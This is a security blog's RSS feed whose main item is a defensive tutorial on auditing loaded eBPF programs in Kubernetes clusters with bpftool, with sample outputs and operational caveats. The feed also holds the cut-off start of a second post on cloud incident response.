<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/security/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 27 Jul 2026 11:57:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Security Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/security/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>The Audit Playbook — Four Commands to See Any Cluster</title>
		<link>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/</link>
					<comments>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 14 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Audit]]></category>
		<category><![CDATA[bpftool]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SRE]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2228</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>eBPF: From Kernel to Cloud, Episode 14 What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability · LSM and Tetragon · Process Lineage · The Audit Playbook ... <a title="The Audit Playbook — Four Commands to See Any Cluster" class="read-more" href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/" aria-label="Read more about The Audit Playbook — Four Commands to See Any Cluster">Read more</a></p>
<p>The post <a href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/">The Audit Playbook — Four Commands to See Any Cluster</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 14</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon</a> · <a href="/ebpf-process-lineage-incident-response/">Process Lineage</a> · <strong>The Audit Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>You can audit eBPF programs on any Kubernetes cluster with four <code class="" data-line="">bpftool</code> commands, regardless of which vendor&#8217;s tool loaded them — <code class="" data-line="">prog show</code>, <code class="" data-line="">map show</code>, <code class="" data-line="">net show</code> (plus <code class="" data-line="">cgroup tree</code>), and <code class="" data-line="">prog dump xlated</code><br />
  <em>(bpftool = the kernel-shipped CLI for inspecting loaded eBPF programs and maps directly, independent of any userspace agent or vendor tooling)</em></li>
<li><code class="" data-line="">bpftool prog show</code> gives you the inventory: every loaded program, its type, and — via its pinned path — usually which tool owns it</li>
<li><code class="" data-line="">bpftool map show</code> gives you the state: what data each program is reading or writing, cross-referenced by the <code class="" data-line="">map_ids</code> from the first command</li>
<li><code class="" data-line="">bpftool net show</code> and <code class="" data-line="">bpftool cgroup tree</code> give you the attachment points: which interface, which qdisc, which cgroup hook — where enforcement actually happens</li>
<li><code class="" data-line="">bpftool prog dump xlated</code> gives you the behavior: what the program does at the instruction level, for the cases where the pinned path doesn&#8217;t tell you enough</li>
<li>This sequence works whether the cluster is running Cilium, Falco, Tetragon, a hand-rolled XDP filter, or something with no documentation at all — the kernel doesn&#8217;t care who loaded the program</li>
</ul>
<hr />
<p>You inherit a cluster with no runbook, no README, and no answer to &#8220;what&#8217;s making the policy decisions.&#8221; Something on these nodes is dropping packets, or blocking execs, or both — and you have about ten minutes before the incident call starts. <code class="" data-line="">kubectl get pods -A</code> tells you nothing; whatever this is doesn&#8217;t run as a normal pod workload you can just describe.</p>
<h2 id="quick-check-is-anything-actually-loaded-on-this-node">Quick Check: Is Anything Actually Loaded on This Node?</h2>
<pre><code class="" data-line=""># On any cluster node — count loaded eBPF programs
bpftool prog show | wc -l

# Expected output (a cluster running Cilium + Tetragon):
# 47
</code></pre>
<pre><code class="" data-line=""># Break it down by program type
bpftool prog show | grep -oE &#039;^\S+:\s+\K\S+&#039; 2&gt;/dev/null || \
bpftool prog show -j | jq -r &#039;.[].type&#039; | sort | uniq -c

#   12 cgroup_skb      ← Cilium&#039;s per-cgroup socket filtering
#    8 sched_cls       ← TC programs (Cilium&#039;s netdev enforcement, from EP08)
#    6 kprobe          ← Tetragon&#039;s syscall hooks (from EP12)
#    4 tracepoint      ← process/exec tracing (from EP13)
#    2 xdp             ← XDP fast-path filtering (from EP07)
</code></pre>
<blockquote>
<p><strong>Not running Cilium or Tetragon? On EKS or GKE?</strong> The count won&#8217;t be zero even on a &#8220;vanilla&#8221; managed cluster — kube-proxy&#8217;s eBPF mode (if enabled), the CNI&#8217;s own eBPF datapath, and any sidecar-less service mesh all load programs. A count of zero on a production node is itself worth investigating; it usually means you&#8217;re looking at a node pool that hasn&#8217;t finished bootstrapping, or <code class="" data-line="">bpftool</code> is running in a mount namespace that can&#8217;t see the host&#8217;s BPF filesystem.</p>
</blockquote>
<p>Forty-seven loaded programs and no idea which ones matter. That&#8217;s the audit playbook&#8217;s job: turn &#8220;something is loaded&#8221; into &#8220;here is exactly what it is, what it holds, where it enforces, and what it does&#8221; — four commands, in order, no vendor documentation required.</p>
<h2 id="command-1-inventory-whats-loaded-and-who-owns-it">Command 1: Inventory — What&#8217;s Loaded, and Who Owns It</h2>
<p><code class="" data-line="">bpftool prog show</code> lists every eBPF program currently loaded into the kernel on that node, regardless of which process or tool loaded it. The kernel tracks programs independently of the userspace agent that created them — the program keeps running even if that agent&#8217;s pod is deleted.</p>
<pre><code class="" data-line="">bpftool prog show
</code></pre>
<pre><code class="" data-line="">6: cgroup_skb  tag 6deef7357e7b4530  gpl
    loaded_at 2026-06-02T03:14:22+0000  uid 0
    xlated 296B  jited 187B  memlock 4096B  map_ids 4,5
142: sched_cls  name cil_from_netdev  tag a04f5eef06a7f555  gpl
    loaded_at 2026-06-02T03:15:01+0000  uid 0
    xlated 12664B  jited 7532B  memlock 16384B  map_ids 9,10,11,14
    pinned /sys/fs/bpf/tc/globals/cil_from_netdev
201: kprobe  name generic_kprobe_e  tag 88df3d0a1c9e2b41  gpl
    loaded_at 2026-06-02T04:02:18+0000  uid 0
    xlated 3184B  jited 1980B  memlock 8192B  map_ids 22,23
    pinned /sys/fs/bpf/tetragon/generic_kprobe_e
</code></pre>
<blockquote>
<p><strong>Program <code class="" data-line="">tag</code></strong> — a SHA hash of the program&#8217;s instruction stream, computed by the kernel at load time. Two programs with the same tag are running byte-identical bytecode, even if they were loaded by different processes or have different names. It&#8217;s how you confirm two clusters are actually running the same version of a security tool without comparing source.</p>
<p><strong>Pinned path</strong> — a program pinned to <code class="" data-line="">/sys/fs/bpf/...</code> survives after the process that loaded it exits, because the reference is held by a file in the in-kernel BPF filesystem instead of by an open file descriptor in a running process. Most production tools pin their programs; ad hoc programs loaded by a one-off script usually don&#8217;t, and disappear the moment that script&#8217;s process exits.</p>
</blockquote>
<p>The <code class="" data-line="">pinned</code> field is doing most of the audit work here. <code class="" data-line="">/sys/fs/bpf/tc/globals/...</code> is Cilium&#8217;s convention. <code class="" data-line="">/sys/fs/bpf/tetragon/...</code> is Tetragon&#8217;s. Falco&#8217;s kernel-module and eBPF probe modes typically pin under <code class="" data-line="">/sys/fs/bpf/falco*</code>. A program with no <code class="" data-line="">pinned</code> line at all was loaded without a persistent reference — worth asking what process is holding its file descriptor open, because if that process dies, the program unloads.</p>
<blockquote>
<p><strong>For operators (not writing eBPF):</strong> if a security tool&#8217;s DaemonSet pod restarts and its programs <em>don&#8217;t</em> reappear in <code class="" data-line="">bpftool prog show</code> after the container comes back up, that&#8217;s a real signal — the tool failed to re-pin or re-attach, and you&#8217;re running with a gap in coverage even though the pod shows <code class="" data-line="">Running</code>. This is a more reliable health check than the pod&#8217;s own readiness probe, which usually only checks that the userspace agent process is alive.</p>
</blockquote>
<h2 id="command-2-state-what-data-these-programs-are-keeping">Command 2: State — What Data These Programs Are Keeping</h2>
<p>Every <code class="" data-line="">map_ids</code> value in the <code class="" data-line="">prog show</code> output points at a BPF map — the persistent, kernel-resident data structure the program reads or writes on every invocation (see <a href="/ebpf-maps-explained/">eBPF Maps</a> for how these work). <code class="" data-line="">bpftool map show</code> inventories them the same way.</p>
<pre><code class="" data-line="">bpftool map show id 9
</code></pre>
<pre><code class="" data-line="">9: hash  name cilium_lb4_service  flags 0x0
    key 8B  value 24B  max_entries 65536  memlock 6291456B
</code></pre>
<pre><code class="" data-line="">bpftool map show id 22
</code></pre>
<pre><code class="" data-line="">22: lru_hash  name tg_execve_map  flags 0x0
    key 4B  value 128B  max_entries 32768  memlock 12582912B
    pinned /sys/fs/bpf/tetragon/tg_execve_map
</code></pre>
<p>Map ID 9 is a service load-balancer table — 65,536 entries, keyed by a service identifier. Map ID 22 is Tetragon&#8217;s exec cache (the same process-tracking structure covered in <a href="/ebpf-process-lineage-incident-response/">process lineage reconstruction</a>), an LRU hash that evicts its oldest entries once 32,768 processes have been tracked.</p>
<p>The name field alone often tells you what the map is for — <code class="" data-line="">cilium_lb4_service</code>, <code class="" data-line="">tg_execve_map</code> — because most production tools name their maps descriptively rather than leaving them anonymous. When a map has no descriptive name, dump a few entries and read the shape of the data:</p>
<pre><code class="" data-line="">bpftool map dump id 9 | head -5
</code></pre>
<pre><code class="" data-line="">key: 0a 00 00 01 00 00 00 50  value: c0 a8 01 0a 00 00 00 50 00 00 00 01 ...
</code></pre>
<p>Raw bytes without a BTF type description are harder to read, but the sizes still tell you something: an 8-byte key and 24-byte value, repeated 65,536 times, is a fixed-size lookup table — consistent with a service or connection map, not a log or event buffer.</p>
<h2 id="command-3-attachment-where-enforcement-actually-happens">Command 3: Attachment — Where Enforcement Actually Happens</h2>
<p>Inventory and state tell you what&#8217;s loaded and what it remembers. They don&#8217;t tell you where in the packet or syscall path the program actually runs. <code class="" data-line="">bpftool net show</code> answers that for network-attached programs (XDP and TC, from <a href="/ebpf-xdp-kubernetes-networking/">EP07</a> and <a href="/tc-ebpf-kubernetes-network-policy/">EP08</a>); <code class="" data-line="">bpftool cgroup tree</code> answers it for cgroup-attached programs (socket and syscall hooks).</p>
<pre><code class="" data-line="">bpftool net show
</code></pre>
<pre><code class="" data-line="">xdp:
eth0(2) driver id 88 tag 3b185187f1855c4c

tc:
eth0(2) clsact/ingress cil_from_netdev id 142
eth0(2) clsact/egress cil_to_netdev id 143
</code></pre>
<pre><code class="" data-line="">bpftool cgroup tree
</code></pre>
<pre><code class="" data-line="">CgroupPath
ID       AttachType      AttachFlags     Name
/sys/fs/cgroup
         6        cgroup_skb      multi
        18        cgroup_sock_addr multi           cil_sock4_connect
</code></pre>
<p>Program ID 142 — the same <code class="" data-line="">cil_from_netdev</code> you saw in the <code class="" data-line="">prog show</code> output — is attached to <code class="" data-line="">eth0</code>&#8216;s ingress <code class="" data-line="">clsact</code> qdisc. That&#8217;s a direct answer to &#8220;is something making kernel-level policy decisions on this interface&#8221;: yes, at TC ingress, before the packet reaches any userspace process. Program ID 6 (<code class="" data-line="">cgroup_skb</code>) is attached at the root cgroup with <code class="" data-line="">multi</code> flags, meaning it stacks with other programs there rather than replacing them — the enforcement isn&#8217;t exclusive to one tool.</p>
<blockquote>
<p><strong><code class="" data-line="">multi</code> vs exclusive attach flags:</strong> cgroup and TC attachments can either replace whatever was attached before (exclusive) or stack alongside it (<code class="" data-line="">multi</code>/<code class="" data-line="">BPF_F_ALLOW_MULTI</code>). A cluster running more than one eBPF-based tool at the same hook point relies on <code class="" data-line="">multi</code> attachment; if you see an exclusive attach where you expected two tools to coexist, one of them silently lost its hook.</p>
</blockquote>
<h2 id="command-4-behavior-what-it-actually-does">Command 4: Behavior — What It Actually Does</h2>
<p>The first three commands answer what&#8217;s loaded, what it remembers, and where it runs. They don&#8217;t answer what it <em>does</em> — and that matters when the pinned path is missing, unfamiliar, or you don&#8217;t trust it. <code class="" data-line="">bpftool prog dump xlated</code> shows the program&#8217;s instructions after the verifier&#8217;s transformations, in a readable pseudo-assembly.</p>
<pre><code class="" data-line="">bpftool prog dump xlated id 142 | head -12
</code></pre>
<pre><code class="" data-line="">   0: (b7) r0 = 0
   1: (61) r2 = *(u32 *)(r1 +76)
   2: (61) r3 = *(u32 *)(r1 +80)
   3: (bf) r1 = r6
   4: (85) call bpf_skb_load_bytes#26
   5: (16) if w0 == 0x8 goto pc+3
   6: (05) goto pc+9
   7: (61) r1 = *(u32 *)(r6 +0)
   8: (55) r1 != 0x800 goto pc+7
</code></pre>
<p>You don&#8217;t need to hand-trace every instruction to get value out of this. Look for the helper calls — <code class="" data-line="">bpf_skb_load_bytes</code>, <code class="" data-line="">bpf_map_lookup_elem</code>, <code class="" data-line="">bpf_redirect</code>, <code class="" data-line="">bpf_ktime_get_ns</code> — because they name the kernel facilities the program actually touches. A program whose xlated dump is full of <code class="" data-line="">bpf_map_lookup_elem</code> and comparison instructions against <code class="" data-line="">0x800</code> (IPv4&#8217;s EtherType) is doing packet classification. One full of <code class="" data-line="">bpf_probe_read</code> and <code class="" data-line="">bpf_get_current_task</code> is reading process or memory state, not packets — a strong signal you&#8217;re looking at an observability or enforcement hook, not a network one, whatever its pinned path claims.</p>
<blockquote>
<p><strong>For operators (not writing eBPF):</strong> you will not read xlated dumps line by line during an incident. What you&#8217;re checking for is much narrower — does the helper call list match what the tool&#8217;s marketing says it does? A program that claims to be &#8220;read-only observability&#8221; but calls <code class="" data-line="">bpf_skb_store_bytes</code> (which <em>writes</em> packet data) is not read-only. That mismatch is worth escalating before you trust the tool&#8217;s own dashboard.</p>
</blockquote>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong><code class="" data-line="">bpftool</code> needs <code class="" data-line="">CAP_BPF</code> or root, and managed nodes don&#8217;t hand that out by default.</strong> On EKS and GKE, you typically can&#8217;t SSH to a node directly. Use <code class="" data-line="">kubectl debug node/&lt;node-name&gt; --image=&lt;image-with-bpftool&gt; -it -- chroot /host</code> to get a privileged shell with host PID and network namespace access, or the cloud provider&#8217;s session-manager equivalent (AWS SSM, <code class="" data-line="">gcloud compute ssh</code>). Confirm the debug image actually ships <code class="" data-line="">bpftool</code> — it&#8217;s not in most minimal base images.</p>
<p><strong>Program IDs are node-local and not stable across restarts.</strong> ID 142 today may be ID 89 after the node reboots and the DaemonSet reloads its programs. Don&#8217;t hardcode IDs in runbooks; always start from <code class="" data-line="">bpftool prog show</code> on the specific node and re-derive the ID for that session.</p>
<p><strong><code class="" data-line="">xlated</code> and <code class="" data-line="">jited</code> dumps require the kernel to have kept the debug info.</strong> Some hardened kernel configs strip <code class="" data-line="">CONFIG_BPF_JIT_ALWAYS_ON</code> debug metadata or disable <code class="" data-line="">kernel.bpf_stats_enabled</code>, in which case <code class="" data-line="">prog dump</code> returns less than shown here. If dumps come back empty, check <code class="" data-line="">sysctl kernel.bpf_stats_enabled</code> before assuming the program itself is hiding something.</p>
<p><strong><code class="" data-line="">bpftool cgroup tree</code> only shows attachments below the cgroup you run it from.</strong> On a Kubernetes node, run it from the root of the host&#8217;s cgroup filesystem (typically after the <code class="" data-line="">chroot /host</code> from the debug pod above), not from inside a container&#8217;s own cgroup namespace, or you&#8217;ll only see a fraction of the attachments.</p>
<p><strong>Pinned paths are a convention, not a guarantee.</strong> Nothing stops a tool from pinning under an unexpected path, or not pinning at all. Treat the pinned-path-to-vendor mapping as a strong hint that narrows your investigation, not as ground truth — confirm ownership with the <code class="" data-line="">tag</code> (command 1) against the vendor&#8217;s published program hashes when it matters for an incident, not just a routine audit.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want to know</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>What&#8217;s loaded</td>
<td><code class="" data-line="">bpftool prog show</code></td>
</tr>
<tr>
<td>Program count by type</td>
<td><code class="" data-line="">bpftool prog show -j \| jq -r &#039;.[].type&#039; \| sort \| uniq -c</code></td>
</tr>
<tr>
<td>What state a program keeps</td>
<td><code class="" data-line="">bpftool map show id &lt;N&gt;</code> (from <code class="" data-line="">map_ids</code> in prog show)</td>
</tr>
<tr>
<td>Sample map contents</td>
<td><code class="" data-line="">bpftool map dump id &lt;N&gt; \| head</code></td>
</tr>
<tr>
<td>Where it&#8217;s attached (network)</td>
<td><code class="" data-line="">bpftool net show</code></td>
</tr>
<tr>
<td>Where it&#8217;s attached (cgroup)</td>
<td><code class="" data-line="">bpftool cgroup tree</code></td>
</tr>
<tr>
<td>What it actually does</td>
<td><code class="" data-line="">bpftool prog dump xlated id &lt;N&gt;</code></td>
</tr>
<tr>
<td>Confirm identical bytecode across nodes</td>
<td>Compare <code class="" data-line="">tag</code> values from <code class="" data-line="">prog show</code></td>
</tr>
<tr>
<td>Privileged shell on a managed node</td>
<td><code class="" data-line="">kubectl debug node/&lt;name&gt; --image=&lt;img&gt; -it -- chroot /host</code></td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Four <code class="" data-line="">bpftool</code> commands audit any eBPF-based tool on any Kubernetes cluster, regardless of vendor: <code class="" data-line="">prog show</code> (inventory), <code class="" data-line="">map show</code> (state), <code class="" data-line="">net show</code>/<code class="" data-line="">cgroup tree</code> (attachment), <code class="" data-line="">prog dump xlated</code> (behavior)</li>
<li>The kernel tracks loaded programs independently of the userspace agent that loaded them — a program&#8217;s pinned path under <code class="" data-line="">/sys/fs/bpf/...</code> usually identifies its owning tool by convention, but that convention is not enforced by the kernel</li>
<li>A program&#8217;s <code class="" data-line="">tag</code> is a hash of its bytecode; matching tags across nodes confirm identical program versions without comparing source or vendor documentation</li>
<li><code class="" data-line="">map_ids</code> in <code class="" data-line="">prog show</code> output link directly to <code class="" data-line="">bpftool map show</code>, letting you trace from &#8220;a program is loaded&#8221; to &#8220;here&#8217;s exactly what data it reads and writes&#8221;</li>
<li><code class="" data-line="">bpftool net show</code> and <code class="" data-line="">cgroup tree</code> answer where enforcement happens in the packet or syscall path — the same question the opening incident needed answered in ten minutes</li>
<li>When the pinned path and tag aren&#8217;t enough, <code class="" data-line="">bpftool prog dump xlated</code> shows the actual kernel helper calls the program makes, which is the only way to confirm behavior when there&#8217;s no documentation to trust</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP14 is the audit playbook — the four commands you run in the first ten minutes on any cluster you&#8217;ve inherited, before you trust anything its existing tools tell you about themselves. EP15 goes deeper on one specific case where this matters most: Cilium&#8217;s own policy engine telling you traffic is allowed while packets keep dropping. <code class="" data-line="">bpftool map dump</code> on the right map — not <code class="" data-line="">cilium policy get</code> — is what shows you what&#8217;s actually being enforced.</p>
<p><em>Next: <a href="/cilium-policy-verification-bpftool/">Cilium policy verification — what bpftool shows that cilium policy get doesn&#8217;t</a></em></p>
<p>Get EP15 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&#038;title=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" data-a2a-url="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/" data-a2a-title="The Audit Playbook — Four Commands to See Any Cluster"></a></p><p>The post <a href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/">The Audit Playbook — Four Commands to See Any Cluster</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2228</post-id>	</item>
		<item>
		<title>Cloud Incident Response Playbook: First 24 Hours After a Breach</title>
		<link>https://linuxcent.com/cloud-incident-response-playbook-24-hours/</link>
					<comments>https://linuxcent.com/cloud-incident-response-playbook-24-hours/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 08 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[ChangeHealthcare]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1876</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud incident response: the first 24 hours determine whether ransomware becomes a data breach. The ChangeHealthcare playbook — what to isolate, what to preserve, what to communicate.</p>
<p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
